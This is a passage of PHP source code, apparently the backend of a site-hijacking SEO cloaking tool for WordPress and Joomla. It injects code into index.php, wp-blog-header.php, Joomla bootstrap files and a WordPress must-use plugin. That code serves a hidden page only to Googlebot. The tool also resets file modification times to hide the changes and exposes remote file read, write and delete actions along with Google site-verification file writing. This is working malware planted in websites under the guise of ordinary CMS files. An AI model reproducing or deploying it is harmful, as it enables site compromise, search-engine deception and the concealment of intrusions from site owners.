return ['ok'=>false];
}}
if (!function_exists('wrz_cloak_joomla_clean_index_content')) {
function wrz_cloak_joomla_clean_index_content($content){
$content=(string)$content;
$content=preg_replace('/\/\* WRZ-JOOMLA-CLOAK \*\/.*?\/\* \/WRZ-JOOMLA-CLOAK \*\/\s*/s','',$content);
$content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:tmp\/|cache\/|includes\/)?wrz-bot-cloak\.php[\'"]\s*;\s*/',"\n",$content);
return $content;
}}
if (!function_exists('wrz_cloak_joomla_remove_cloak')) {
function wrz_cloak_joomla_remove_cloak($dir){
global $JOOMLA_CLOAK_LOADER;
$dir=rtrim(str_replace('\\','/',$dir),'/');
$idx=$dir.'/index.php';
foreach(wrz_cloak_joomla_loader_paths($dir) as $spec){
if(@is_file($spec['file']))@unlink($spec['file']);
}
if(@is_file($dir.'/'.$JOOMLA_CLOAK_LOADER))@unlink($dir.'/'.$JOOMLA_CLOAK_LOADER);
if(@is_file($idx)){
$c=wrz_cloak_joomla_clean_index_content((string)@file_get_contents($idx));
@file_put_contents($idx,$c);
}
}}
if (!function_exists('wrz_cloak_cms')) {
function wrz_cloak_cms($dir){
return function_exists('wrz_cloak_cms_type')?wrz_cloak_cms_type($dir):'unknown';
}}
if (!function_exists('wrz_cloak_wp_tpl')) {
function wrz_cloak_wp_tpl(){
global $TEMPLATES,$INDEX_FILE;
return isset($TEMPLATES['wordpress'][$INDEX_FILE])?$TEMPLATES['wordpress'][$INDEX_FILE]:null;
}}
if (!function_exists('wrz_cloak_joomla_bootstrap')) {
function wrz_cloak_joomla_bootstrap($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
if(@is_file($dir.'/includes/app.php'))return $dir.'/includes/app.php';
if(@is_file($dir.'/includes/framework.php'))return $dir.'/includes/framework.php';
return $dir.'/includes/app.php';
}}
if (!function_exists('wrz_cloak_bot_block')) {
function wrz_cloak_bot_block($htmlVar){
return "\n/* WRZ-CLOAK-START */\n"
.'$_wrz_ua=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\';'."\n"
.'$_wrz_uri=isset($_SERVER[\'REQUEST_URI\'])?strtok($_SERVER[\'REQUEST_URI\'],\'?\'):\'\';'."\n"
.'if(preg_match(\'/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|Google-/i\',$_wrz_ua)&&$_wrz_uri===\'/\'){'."\n"
.' $_wrz_html='.$htmlVar.';'."\n"
.' if(file_exists($_wrz_html)){while(ob_get_level()>0)ob_end_clean();header(\'Content-Type: text/html; charset=utf-8\');header(\'Vary: User-Agent\');readfile($_wrz_html);exit;}'."\n"
.'}'."\n"
.'unset($_wrz_ua,$_wrz_uri,$_wrz_html);'."\n"
."/* WRZ-CLOAK-END */\n";
}}
if (!function_exists('wrz_cloak_patch_bootstrap')) {
function wrz_cloak_patch_bootstrap($filePath,$htmlPathExpr){
if(!@file_exists($filePath))return 'ERR';
$content=(string)@file_get_contents($filePath);
if(strpos($content,'WRZ-CLOAK-START')!==false)return 'EXISTS';
$mtime=@filemtime($filePath);
$block=wrz_cloak_bot_block($htmlPathExpr);
if(preg_match('/^(<\?php)/',$content)){
$new=preg_replace('/^(<\?php)/','$1'.$block,$content,1);
}else{
$new=$content.$block;
}
$ok=($new!==null&&$new!==$content)?@file_put_contents($filePath,$new):@file_put_contents($filePath,$content.$block);
if($ok!==false&&$mtime)@touch($filePath,$mtime);
return $ok!==false?'OK':'ERR';
}}
if (!function_exists('wrz_cloak_unpatch_bootstrap')) {
function wrz_cloak_unpatch_bootstrap($filePath){
if(!@file_exists($filePath))return;
$content=(string)@file_get_contents($filePath);
if(strpos($content,'WRZ-CLOAK-START')===false)return;
$mtime=@filemtime($filePath);
$clean=preg_replace('/\/\* WRZ-CLOAK-START \*\/.*?\/\* WRZ-CLOAK-END \*\/\s*/s','',$content);
$ok=@file_put_contents($filePath,$clean);
if($ok!==false&&$mtime)@touch($filePath,$mtime);
}}
if (!function_exists('wrz_cloak_safe_inject_php')) {
function wrz_cloak_safe_inject_php($content,$block,$marker){
if(strpos($content,$marker)!==false)return null;
if(preg_match('/^(<\?php)(.*?)(declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;)/s',$content,$m)){
return $m[1].$m[2].$m[3].$block.substr($content,strlen($m[0]));
}
if(preg_match('/^(<\?php)/',$content)){
return preg_replace('/^(<\?php)/','$1'.$block,$content,1);
}
return '<?php'.$block.$content;
}}
if (!function_exists('wrz_cloak_joomla_unpatch_all')) {
function wrz_cloak_joomla_unpatch_all($dir){
global $JOOMLA_APP_BAK;
$dir=rtrim(str_replace('\\','/',$dir),'/');
foreach(['includes/app.php','includes/framework.php'] as $rel){
$fp=$dir.'/'.$rel;
$bak=$dir.'/'.str_replace('/','-',$rel).'.wrz.bak';
$legacyBak=$dir.'/'.$JOOMLA_APP_BAK;
if(@is_file($legacyBak)&&$rel==='includes/app.php'){
@file_put_contents($fp,(string)@file_get_contents($legacyBak));
@unlink($legacyBak);
continue;
}
if(@is_file($bak)){
@file_put_contents($fp,(string)@file_get_contents($bak));
@unlink($bak);
continue;
}
wrz_cloak_unpatch_bootstrap($fp);
}
}}
if (!function_exists('wrz_cloak_joomla_restore_index')) {
function wrz_cloak_joomla_restore_index($dir){
global $JOOMLA_INDEX_BAK;
$dir=rtrim(str_replace('\\','/',$dir),'/');
$idx=$dir.'/index.php';
wrz_cloak_joomla_unpatch_all($dir);
wrz_cloak_joomla_remove_amp($dir);
wrz_cloak_joomla_remove_cloak($dir);
$bak=$dir.'/'.$JOOMLA_INDEX_BAK;
if(@is_file($bak)){
$c=(string)@file_get_contents($bak);
if(wrz_joomla_index_looks_valid($c)){
$ok=wrz_cloak_joomla_write_index($dir,$c);
if($ok)@unlink($bak);
return $ok;
}
}
$src=wrz_cloak_joomla_find_index_source($dir);
if($src){
return wrz_cloak_joomla_write_index($dir,$src['content']);
}
if(@is_file($idx)){
$c=(string)@file_get_contents($idx);
if(strpos($c,'WRZ-JOOMLA-CLOAK')!==false||strpos($c,'wrz-bot-cloak.php')!==false||strpos($c,'WRZ-AMP-CLOAK')!==false||strpos($c,'wrz-amp-cloak.php')!==false){
$c=wrz_cloak_joomla_clean_index_content($c);
$c=wrz_cloak_joomla_clean_amp_from_index($c);
wrz_cloak_joomla_write_index($dir,$c);
$c=(string)@file_get_contents($idx);
}
if(wrz_joomla_index_looks_valid($c))return true;
// WordPress index yanlislikla yazildiysa — Joomla sablonu ile degistir
if(strpos($c,'wp-blog-header.php')!==false||strpos($c,'WordPress application')!==false){
return wrz_cloak_joomla_write_index($dir,wrz_joomla_default_index_content($dir));
}
}
return wrz_cloak_joomla_write_index($dir,wrz_joomla_default_index_content($dir));
}}
if (!function_exists('wrz_cloak_joomla_backup_index')) {
function wrz_cloak_joomla_backup_index($dir){
global $JOOMLA_INDEX_BAK;
$idx=$dir.DIRECTORY_SEPARATOR.'index.php';
$bak=$dir.DIRECTORY_SEPARATOR.$JOOMLA_INDEX_BAK;
if(!@file_exists($idx)||@file_exists($bak))return;
$c=(string)@file_get_contents($idx);
if(strpos($c,'wp-comments-post-loader.html')!==false||strpos($c,'WRZ-JOOMLA-CLOAK')!==false||strpos($c,'wrz-bot-cloak.php')!==false||strpos($c,'WRZ-AMP-CLOAK')!==false||strpos($c,'wrz-amp-cloak.php')!==false){
$clean=wrz_cloak_joomla_clean_amp_from_index(wrz_cloak_joomla_clean_index_content($c));
if(function_exists('wrz_joomla_index_looks_valid')&&wrz_joomla_index_looks_valid($clean)){
@file_put_contents($bak,$clean);
}
return;
}
@file_put_contents($bak,$c);
}}
if (!function_exists('wrz_cloak_joomla_apply')) {
function wrz_cloak_joomla_apply($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
$idx=$dir.'/index.php';
if(!@is_file($idx))return 'ERR:NO_INDEX';
wrz_cloak_joomla_backup_index($dir);
$content=(string)@file_get_contents($idx);
if(substr($content,0,3)==="\xEF\xBB\xBF")$content=substr($content,3);
$content=wrz_cloak_joomla_clean_index_content($content);
$loader=wrz_cloak_joomla_try_write_loader($dir);
$mode='inline';
$inject='';
if(!empty($loader['ok'])){
$mode='file';
$inject=$loader['require'];
}else{
$inject=wrz_cloak_joomla_inline_block();
}
if($mode==='file'&&strpos($content,'wrz-bot-cloak.php')===false){
if(preg_match('/^(<\?php)(.*?)(declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;)/s',$content,$m)){
$content=$m[1].$m[2].$m[3].$inject.substr($content,strlen($m[0]));
}elseif(preg_match('/^(<\?php)/',$content)){
$content=preg_replace('/^(<\?php)/','$1'.$inject,$content,1);
}else{
$content='<?php'.$inject.$content;
}
}elseif($mode==='inline'){
if(strpos($content,'WRZ-JOOMLA-CLOAK')===false){
$new=wrz_cloak_safe_inject_php($content,$inject,'WRZ-JOOMLA-CLOAK');
if($new!==null)$content=$new;
}
}
if(!is_writable($idx)&&@is_file($idx))return 'ERR:READONLY';
$ok=@file_put_contents($idx,$content)!==false;
if(!$ok)return 'ERR:WRITE';
return $mode==='file'?'OK':'OK:INLINE';
}}
$HTML_DEFAULT=base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InZpIj48aGVhZD4KCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+Cjx0aXRsZT5TRU8gVEVTVCBBTUlOQUtPWUFNPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KPGgxPlNFTyBURVNUIEFNSU5BS09ZQU08L2gxPgoKPC9ib2R5PjwvaHRtbD4K');
$HTML_FILE='wp-comments-post-loader.html';
$INDEX_FILE='index.php';
// ---- Yardımcılar -----------------------------------------------------------
if (!function_exists('wrz_cloak_safe_name')) {
function wrz_cloak_safe_name($n){
if($n===''||$n===null)return false;
if(strpos($n,'/')!==false||strpos($n,'\\')!==false||strpos($n,"\0")!==false||strpos($n,'..')!==false)return false;
return true;
}
}
if (!function_exists('wrz_cloak_b64url_decode')) {
function wrz_cloak_b64url_decode($s){
$s=trim((string)$s);
if($s==='')return '';
$std=strtr($s,'-_','+/');
$pad=strlen($std)%4;
if($pad)$std.=str_repeat('=',(4-$pad));
$d=base64_decode($std,true);
return ($d!==false&&$d!=='')?$d:$s;
}
}
if (!function_exists('wrz_cloak_enc_b64url')) {
function wrz_cloak_enc_b64url($s){
return rtrim(strtr(base64_encode($s),'+/','-_'),'=');
}
}
if (!function_exists('wrz_cloak_is_google_file')) {
function wrz_cloak_is_google_file($name){
return (bool)preg_match('/^google[a-zA-Z0-9]+\.html$/',$name);
}
}
if (!function_exists('wrz_cloak_sub')) {
function wrz_cloak_sub($s,$start,$len){return function_exists('mb_substr')?mb_substr($s,$start,$len):substr($s,$start,$len);}
}
if (!function_exists('wrz_cloak_list_google_files')) {
function wrz_cloak_list_google_files($dir){
$out=[];
foreach((array)@glob($dir.DIRECTORY_SEPARATOR.'google*.html') as $p){
$b=basename($p);
if(wrz_cloak_is_google_file($b))$out[]=$b;
}
sort($out);
return $out;
}
}
// Dizindeki referans dosyalardan medyan mtime hesapla
if (!function_exists('wrz_cloak_ref_mtime')) {
function wrz_cloak_ref_mtime($dir,$skip=[]){
$mt=[];
if($dh=@opendir($dir)){
while(($f=readdir($dh))!==false){
if($f==='.'||$f==='..')continue;
$fp=$dir.DIRECTORY_SEPARATOR.$f;
if(!is_file($fp)||in_array($f,$skip))continue;
$t=@filemtime($fp);
if($t>mktime(0,0,0,1,1,2010))$mt[]=$t;
}
closedir($dh);
}
if(empty($mt))return null;
sort($mt);
return $mt[(int)(count($mt)/2)];
}
}
// ---- AMP cloak — Joomla / WordPress ayri, guvenli ---------------------------
if($a==="joomla_amp_scan"){
if(!@is_file($DIR.'/configuration.php')){
wrz_cloak_json_exit(['error'=>'Joomla kok bulunamadi']);
}
wrz_cloak_json_exit(wrz_cloak_joomla_amp_plan($DIR));
}
if($a==="autocloak_amp"){
$targetCms=isset($_GET['cms'])?strtolower(trim((string)$_GET['cms'])):'';
if($targetCms!=='joomla'&&$targetCms!=='wordpress'){
wrz_cloak_json_exit(['error'=>'cms=joomla veya cms=wordpress gerekli','index'=>'ERR']);
}
$results=['cms'=>$targetCms,'mode'=>'amp'];
try {
$idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
$origMtime=file_exists($idx)?@filemtime($idx):null;
if($targetCms==='joomla'){
if(!@is_file($DIR.'/configuration.php')){
wrz_cloak_json_exit(['error'=>'Joomla kok bulunamadi','index'=>'ERR:NOT_JOOMLA']);
}
wrz_cloak_joomla_remove_amp($DIR);
$install=wrz_cloak_joomla_amp_install($DIR);
$results=array_merge($results,$install);
$results['index']=$install['index']??'ERR';
$results['loader']=$install['loader']??'ERR';
$results['mu_plugin']='NA';
$results['plan']=$install['plan']??[];
$results['inject_point']=$install['inject']??'';
$results['loader_file']=isset($install['loader_path'])?basename((string)$install['loader_path']):'';
$results['amp_path']=$install['amp_path']??'amp.php';
$results['amp']=$install['amp']??'ERR';
$results['amp_size']=0;
if(!empty($install['amp_path'])){
$af=$DIR.'/'.str_replace('\\','/',$install['amp_path']);
if(@is_file($af))$results['amp_size']=(int)@filesize($af);
}
}else{
if(!@is_file($DIR.'/wp-load.php')){
wrz_cloak_json_exit(['error'=>'WordPress kok bulunamadi','index'=>'ERR:NOT_WP']);
}
$results['index']=wrz_cloak_wp_apply_amp($DIR);
$results['loader']='NA';
$results['mu_plugin']=(@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php'))?'OK':'ERR';
}
if(($results['index']??'')==='OK'&&$origMtime&&@is_file($idx))@touch($idx,$origMtime);
if($targetCms==='wordpress'){
$results['amp']=wrz_cloak_ensure_amp_file($DIR);
$results['amp_path']='amp.php';
$results['amp_size']=@is_file($DIR.'/amp.php')?(int)@filesize($DIR.'/amp.php'):0;
}
$okIdx=($results['index']??'')==='OK';
$strategy=($targetCms==='joomla'&&isset($results['plan']['strategy']))?$results['plan']['strategy']:'';
$results['message']=$okIdx
?('AMP cloak aktif'.($strategy?(' — '.$strategy):'').' — amp.php duzenleyin, GoogleBot testi yapin.')
:('Basarisiz: '.($results['index']??'ERR').(isset($results['steps'])?(' | '.implode(' · ',(array)$results['steps'])):''));
} catch (Throwable $e) {
wrz_cloak_json_exit(['error'=>$e->getMessage(),'index'=>'ERR']);
}
wrz_cloak_json_exit($results);
}
// ---- Otomatik cloak: index.php'ye cloak şablonu yaz + .html yoksa oluştur --
if($a==="autocloak"){
$results=[];
try {
$cms=wrz_cloak_cms($DIR);
$idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
$origMtime=file_exists($idx)?@filemtime($idx):null;
$html=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE;
if($cms==='joomla'){
if(!file_exists($idx)){
wrz_cloak_json_exit(['error'=>'Joomla index.php bulunamadi','index'=>'ERR:NO_INDEX']);
}
wrz_cloak_joomla_unpatch_all($DIR);
$results['index']=wrz_cloak_joomla_apply($DIR);
if(($results['index']==='OK'||$results['index']==='OK:INLINE'||$results['index']==='EXISTS')&&$origMtime)@touch($idx,$origMtime);
$results['loader']=($results['index']==='OK')?'OK':(($results['index']==='OK:INLINE')?'INLINE':'ERR');
$results['includes_app']='SKIP';
$results['mu_plugin']='NA';
$results['wp_blog_header']='NA';
}else{
$wpTpl=wrz_cloak_wp_tpl();
$cloakTpl=($wpTpl&&isset($wpTpl['cloak']))?$wpTpl['cloak']:'';
if($cloakTpl===''){
wrz_cloak_json_exit(['error'=>'Cloak sablonu yok','index'=>'ERR']);
}
$ok1=@file_put_contents($idx,$cloakTpl);
if($ok1!==false&&$origMtime)@touch($idx,$origMtime);
$results['index']=$ok1!==false?'OK':'ERR';
$muDir=$DIR.'/wp-content/mu-plugins';
$muFile=$muDir.'/wrz-google-bot-bypass.php';
$muCode='<?php'."\n"
.'defined(\'ABSPATH\')||exit;'."\n"
.'$_wrz_ua=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\';'."\n"
.'$_wrz_uri=isset($_SERVER[\'REQUEST_URI\'])?strtok($_SERVER[\'REQUEST_URI\'],\'?\'):\'\';'."\n"
.'if(preg_match(\'/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|Google-/i\',$_wrz_ua)&&$_wrz_uri===\'/\'){'."\n"
.' $_wrz_html=ABSPATH.\'wp-comments-post-loader.html\';'."\n"
.' if(file_exists($_wrz_html)){'."\n"
.' while(ob_get_level()>0)ob_end_clean();'."\n"
.' header(\'Content-Type: text/html; charset=utf-8\');'."\n"
.' header(\'Vary: User-Agent\');'."\n"
.' readfile($_wrz_html);exit;'."\n"
.' }'."\n"
.'}'."\n"
.'unset($_wrz_ua,$_wrz_uri,$_wrz_html);'."\n";
if(!is_dir($muDir))@mkdir($muDir,0755,true);
if(is_dir($muDir)){
$ok3=@file_put_contents($muFile,$muCode);
$results['mu_plugin']=$ok3!==false?'OK':'ERR';
}else{
$results['mu_plugin']='ERR';
}
$wpblog=$DIR.'/wp-blog-header.php';
if(!file_exists($wpblog)){
$results['wp_blog_header']='ERR';
}else{
$results['wp_blog_header']=wrz_cloak_patch_bootstrap($wpblog,"__DIR__.'/wp-comments-post-loader.html'");
}
$results['includes_app']='NA';
}
$htmlSize=@file_exists($html)?(int)@filesize($html):0;
if(!file_exists($html)||$htmlSize<80){
$ok2=@file_put_contents($html,$HTML_DEFAULT);
if($ok2!==false&&$origMtime)@touch($html,$origMtime);
$results['html']=$ok2!==false?($htmlSize>0&&$htmlSize<80?'REFILLED':'CREATED'):'ERR';
$results['html_warn']='Perde HTML bos/eksik — Perde Tasarimini Duzenle bolumunden gercek HTML kaydedin';
}else{
$results['html']='EXISTS';
}
$results['html_size']=@file_exists($html)?(int)@filesize($html):0;
$results['cloak_marker']=(@is_file($idx)&&(strpos((string)@file_get_contents($idx),'wrz-bot-cloak.php')!==false||strpos((string)@file_get_contents($idx),'WRZ-JOOMLA-CLOAK')!==false));
if(!isset($results['loader'])){
$results['loader']=(@is_file($DIR.'/wrz-bot-cloak.php')||@is_file($DIR.'/tmp/wrz-bot-cloak.php')||@is_file($DIR.'/cache/wrz-bot-cloak.php'))?'OK':((strpos((string)@file_get_contents($idx),'WRZ-JOOMLA-CLOAK')!==false)?'INLINE':'ERR');
}
$results['message']=($results['index']==='OK'||$results['index']==='OK:INLINE'||$results['index']==='EXISTS')
?('Cloak aktif ('.$results['loader'].'). GoogleBot testi yapin.')
:('Cloak yazilamadi: '.$results['index']);
$results['cms']=$cms;
} catch (Throwable $e) {
wrz_cloak_json_exit(['error' => $e->getMessage(), 'index' => 'ERR']);
}
wrz_cloak_json_exit($results);
}
// ---- Orijinale dön / acil geri al ------------------------------------------
if($a==="revert"||$a==="force_revert"){
$force=($a==='force_revert');
$cms=wrz_cloak_cms($DIR);
$isJoomla=($cms==='joomla')||@is_file($DIR.'/configuration.php');
$idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
$origMtime=file_exists($idx)?@filemtime($idx):null;
$ok=false;
$log=[];
try {
if($isJoomla||$force){
wrz_cloak_joomla_unpatch_all($DIR);
wrz_cloak_joomla_remove_cloak($DIR);
wrz_cloak_joomla_remove_amp($DIR);
$ok=wrz_cloak_joomla_restore_index($DIR);
$log[]='joomla_restore:'.($ok?'OK':'ERR');
}
if($cms==='wordpress'&&!$isJoomla){
$wpTpl=wrz_cloak_wp_tpl();
$orig=($wpTpl&&isset($wpTpl['orig']))?$wpTpl['orig']:'';
if($orig!=='')$ok=@file_put_contents($idx,$orig)!==false;
$bypassFile=$DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php';
if(file_exists($bypassFile))@unlink($bypassFile);
wrz_cloak_unpatch_bootstrap($DIR.'/wp-blog-header.php');
wrz_cloak_wp_remove_amp($DIR);
}elseif($force&&!$isJoomla&&!$ok){
wrz_cloak_joomla_unpatch_all($DIR);
wrz_cloak_joomla_remove_amp($DIR);
$ok=wrz_cloak_joomla_restore_index($DIR)||$ok;
$bypassFile=$DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php';
if(file_exists($bypassFile))@unlink($bypassFile);
wrz_cloak_unpatch_bootstrap($DIR.'/wp-blog-header.php');
wrz_cloak_wp_remove_amp($DIR);
}elseif($isJoomla){
wrz_cloak_wp_remove_amp($DIR);
}
if($origMtime&&file_exists($idx))@touch($idx,$origMtime);
if(function_exists('opcache_invalidate')&&file_exists($idx))@opcache_invalidate($idx,true);
} catch (Throwable $e) {
wrz_cloak_json_exit(['ok'=>false,'error'=>$e->getMessage(),'cms'=>$cms,'is_joomla'=>$isJoomla,'dir'=>$DIR,'log'=>$log]);
}
if($force){
wrz_cloak_json_exit(['ok'=>(bool)$ok,'cms'=>$cms,'is_joomla'=>$isJoomla,'dir'=>$DIR,'log'=>$log]);
}
wrz_cloak_clean_buffers();
header('Content-Type: text/plain; charset=utf-8');
echo $ok?'OK':'ERR';
exit;
}
// ---- Joomla index.php olustur / geri yukle ---------------------------------
if($a==="restore_index"){
$ok=wrz_cloak_joomla_restore_index($DIR);
$idxPath=$DIR.DIRECTORY_SEPARATOR.'index.php';
$idxPreview=@is_file($idxPath)?wrz_cloak_sub((string)@file_get_contents($idxPath),0,120):'';
while(ob_get_level()>0)ob_end_clean();
header('Content-Type:application/json');
echo json_encode([
'ok'=>(bool)$ok,
'dir'=>$DIR,
'index_exists'=>@is_file($idxPath),
'index_valid'=>@is_file($idxPath)?wrz_joomla_index_looks_valid((string)@file_get_contents($idxPath)):false,
'preview'=>$idxPreview,
],JSON_UNESCAPED_UNICODE);exit;
}
// ---- Dosya oku (base64 döner) -----------------------------------------------
if($a==="raw"){
$name=wrz_cloak_b64url_decode(isset($_GET["b"])?$_GET["b"]:'');
if(!wrz_cloak_safe_name($name))die("Forbidden");
$allowed=[$INDEX_FILE,$HTML_FILE,'amp.php'];
if(!in_array($name,$allowed,true))die("Forbidden");
if($name==='amp.php'&&function_exists('wrz_cloak_joomla_amp_write_target')){
$target=wrz_cloak_joomla_amp_write_target($DIR);
}else{
$target=$DIR.DIRECTORY_SEPARATOR.$name;
}
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:text/plain;charset=utf-8");
header("X-Body-Encoding: base64");
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
echo base64_encode((string)@file_get_contents($target));exit;
}
// ---- amp.php kaydet --------------------------------------------------------
if($a==="saveamp"){
global $AMP_FILE;
if(function_exists('wrz_cloak_joomla_amp_write_target')){
$target=wrz_cloak_joomla_amp_write_target($DIR);
}else{
$target=$DIR.DIRECTORY_SEPARATOR.$AMP_FILE;
}
$d=isset($_POST["d"])?$_POST["d"]:'';
$bin=@hex2bin($d);
while(ob_get_level()>0)ob_end_clean();
if($bin===false){echo"ERR: bozuk veri";exit;}
if(preg_match('/<\?(?!xml)/i',$bin)){echo"ERR: amp.php sadece HTML olmali (PHP etiketi yasak)";exit;}
$parent=@dirname($target);
if($parent&&!@is_dir($parent))@mkdir($parent,0755,true);
$ok=@file_put_contents($target,$bin);
if($ok)@chmod($target,0644);
echo $ok!==false?'OK':'ERR';exit;
}
// ---- .html kaydet (serbest) --------------------------------------------------
if($a==="savehtml"){
$target=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE;
$d=isset($_POST["d"])?$_POST["d"]:'';
$bin=@hex2bin($d);
while(ob_get_level()>0)ob_end_clean();
if($bin===false){echo"ERR: bozuk veri";exit;}
if(strpos($bin,'<?')!==false){echo"ERR: PHP etiketi icermez";exit;}
$ok=@file_put_contents($target,$bin);
echo $ok!==false?'OK':'ERR';exit;
}
// ---- Google doğrulama dosyası yaz ------------------------------------------
if($a==="writegoogle"){
$name=wrz_cloak_b64url_decode(isset($_POST["b"])?$_POST["b"]:(isset($_GET["b"])?$_GET["b"]:''));
while(ob_get_level()>0)ob_end_clean();
if(!wrz_cloak_safe_name($name)||!wrz_cloak_is_google_file($name)){echo"Forbidden";exit;}
$target=$DIR.DIRECTORY_SEPARATOR.$name;
$d=isset($_POST["d"])?$_POST["d"]:'';
$bin=@hex2bin($d);
if($bin===false){echo"ERR: bozuk veri";exit;}
if(!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/',trim($bin))){echo"ERR: Sadece 'google-site-verification: TOKEN' formatı kabul edilir";exit;}
$ok=@file_put_contents($target,$bin);
echo $ok!==false?'OK':'ERR';exit;
}
// ---- Google doğrulama dosyası sil ------------------------------------------
if($a==="rmgoogle"){
$name=wrz_cloak_b64url_decode(isset($_GET["b"])?$_GET["b"]:(isset($_POST["b"])?$_POST["b"]:''));
while(ob_get_level()>0)ob_end_clean();
if(!wrz_cloak_safe_name($name)||!wrz_cloak_is_google_file($name)){echo"Forbidden";exit;}
$target=$DIR.DIRECTORY_SEPARATOR.$name;
$ok=@unlink($target);
echo $ok?'OK':'ERR';exit;
}
// ---- Cloak aktif mi kontrol et (index.php VEYA mu-plugin / includes/app.php) --------
if($a==="checkcloak"){
global $AMP_FILE;
$cms=wrz_cloak_cms($DIR);
$idx=$DIR.DIRECTORY_SEPARATOR.'index.php';
$content=file_exists($idx)?(string)@file_get_contents($idx):'';
$ampSpec=function_exists('wrz_cloak_joomla_find_amp')?wrz_cloak_joomla_find_amp($DIR):null;
$ampOk=$ampSpec?(@is_file($ampSpec['full'])&&@filesize($ampSpec['full'])>=10):(@is_file($DIR.'/'.$AMP_FILE)&&@filesize($DIR.'/'.$AMP_FILE)>=10);
$indexActive=(strpos($content,'wp-comments-post-loader.html')!==false||strpos($content,'WRZ-JOOMLA-CLOAK')!==false);
$ampLoaderFile=false;
if(function_exists('wrz_cloak_joomla_amp_loader_paths')){
foreach(wrz_cloak_joomla_amp_loader_paths($DIR) as $spec){
if(@is_file($spec['file'])){$ampLoaderFile=true;break;}
}
}
$ampInline=(strpos($content,'WRZ-AMP-CLOAK')!==false);
$ampJoomla=($ampLoaderFile&&strpos($content,'wrz-amp-cloak.php')!==false)||$ampInline;
$ampWp=@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php');
if($cms==='joomla'){
$loaderActive=@is_file($DIR.'/wrz-bot-cloak.php')||@is_file($DIR.'/tmp/wrz-bot-cloak.php')||@is_file($DIR.'/cache/wrz-bot-cloak.php')||@is_file($DIR.'/includes/wrz-bot-cloak.php');
$requireActive=(strpos($content,'wrz-bot-cloak.php')!==false);
$inlineActive=(strpos($content,'WRZ-JOOMLA-CLOAK')!==false);
$htmlOk=@is_file($DIR.'/'.$HTML_FILE)&&@filesize($DIR.'/'.$HTML_FILE)>=10;
$active=(($ampJoomla&&$ampOk)||(($loaderActive&&$requireActive)||$inlineActive)&&$htmlOk);
}else{
$muActive=file_exists($DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php');
$wpblogContent=file_exists($DIR.'/wp-blog-header.php')?(string)@file_get_contents($DIR.'/wp-blog-header.php'):'';
$wpblogActive=(strpos($wpblogContent,'WRZ-CLOAK-START')!==false);
$active=($ampWp&&$ampOk)||$indexActive||$muActive||$wpblogActive;
}
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo json_encode([
'active'=>$active,
'cms'=>$cms,
'amp'=>$ampOk,
'amp_size'=>$ampSpec?(int)@filesize($ampSpec['full']):(@is_file($DIR.'/'.$AMP_FILE)?(int)@filesize($DIR.'/'.$AMP_FILE):0),
'loader'=>$ampLoaderFile||$ampInline||@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php'),
'html_size'=>@is_file($DIR.'/'.$HTML_FILE)?(int)@filesize($DIR.'/'.$HTML_FILE):0,
],JSON_UNESCAPED_UNICODE);exit;
}
// ---- GoogleBot simülasyonu: siteye GoogleBot UA ile istek at ----------------
if($a==="botcheck"){
ob_start();
$scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
$host=$_SERVER['HTTP_HOST'];
$url=$scheme.'://'.$host.'/';
if(!function_exists('curl_init')){
ob_end_clean();
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo json_encode(['error'=>'cURL bu sunucuda aktif değil.']);exit;
}
$ch=curl_init();
curl_setopt_array($ch,[
CURLOPT_URL =>$url,
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_USERAGENT =>'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
CURLOPT_TIMEOUT =>15,
CURLOPT_FOLLOWLOCATION =>true,
CURLOPT_MAXREDIRS =>5,
CURLOPT_SSL_VERIFYPEER =>false,
CURLOPT_SSL_VERIFYHOST =>false,
CURLOPT_HTTPHEADER =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: en-US,en;q=0.9'],
]);
$body=(string)curl_exec($ch);
$httpCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);
$finalUrl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL);
$curlErr=curl_error($ch);
curl_close($ch);
$htmlPath=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE;
$ampSpec=function_exists('wrz_cloak_joomla_find_amp')?wrz_cloak_joomla_find_amp($DIR):null;
$ampPath=$ampSpec?$ampSpec['full']:($DIR.DIRECTORY_SEPARATOR.'amp.php');
$htmlContent=file_exists($htmlPath)?(string)@file_get_contents($htmlPath):'';
$ampContent=file_exists($ampPath)?(string)@file_get_contents($ampPath):'';
$refContent=$ampContent!==''?$ampContent:$htmlContent;
$htmlText=trim(strip_tags($refContent));
$bodyText=trim(strip_tags($body));
$matched=false;
